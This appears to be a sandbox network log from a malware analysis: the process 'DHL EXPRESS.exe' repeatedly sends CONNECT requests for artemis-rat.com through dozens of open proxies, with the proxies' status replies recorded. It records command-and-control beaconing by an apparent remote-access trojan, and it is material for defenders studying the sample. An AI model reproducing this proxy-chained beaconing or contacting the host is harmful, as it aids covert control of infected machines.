Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1905	192.168.2.8	55249	103.216.49.233	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.283368111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1906	192.168.2.8	52731	37.221.197.165	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.283943892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.346879959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.409662962 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1907	192.168.2.8	54927	117.160.250.138	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.285401106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.542898893 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 17:36:59 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1908	192.168.2.8	52701	148.66.130.53	47891	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.292603016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.346882105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.409663916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.450216055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:22.596935987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:46.596940041 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:34.597067118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1909	192.168.2.8	55251	94.177.106.178	2324	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.296372890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1910	192.168.2.8	52782	182.253.26.196	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.312357903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.282866955 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1911	192.168.2.8	52727	119.18.149.110	5020	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.321407080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.713576078 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1912	192.168.2.8	52836	153.127.194.62	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.321566105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.189969063 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:37:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1913	192.168.2.8	52866	192.169.226.96	7251	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.321790934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1914	192.168.2.8	52859	213.136.79.177	13675	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.321850061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.456545115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.456682920 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.456475973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:22.456290007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:34.487613916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:46.487581015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:10.503217936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1915	192.168.2.8	54539	192.163.200.196	59559	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.321937084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.346932888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.409800053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.450238943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:22.596935987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1916	192.168.2.8	54506	37.187.77.58	52593	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.322592020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1917	192.168.2.8	54530	92.204.135.37	58604	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.326224089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.909626961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.585000038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.033782959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.706571102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.394845009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1918	192.168.2.8	52811	190.94.212.125	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.326648951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.631118059 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1919	192.168.2.8	54662	208.102.51.6	58208	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.330111980 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1920	192.168.2.8	52891	95.165.161.27	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.337447882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1921	192.168.2.8	55099	107.181.161.81	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.439085960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1922	192.168.2.8	55204	45.226.1.1	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.446119070 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1923	192.168.2.8	52756	182.61.38.114	82	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.448971987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.793510914 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 17:36:58 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1924	192.168.2.8	54483	163.172.33.148	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.454243898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:09.174031019 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1925	192.168.2.8	52908	185.200.37.245	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.509031057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.952960014 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1926	192.168.2.8	52932	103.189.116.107	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.525006056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.920464993 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1927	192.168.2.8	55248	120.194.4.157	5443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.531423092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.551440001 CET	319	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 17:36:59 GMT Content-Type: text/html Content-Length: 170 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 18:37:02.557477951 CET	319	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 17:36:59 GMT Content-Type: text/html Content-Length: 170 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1928	192.168.2.8	54623	201.184.53.180	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.531425953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.565918922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.566132069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
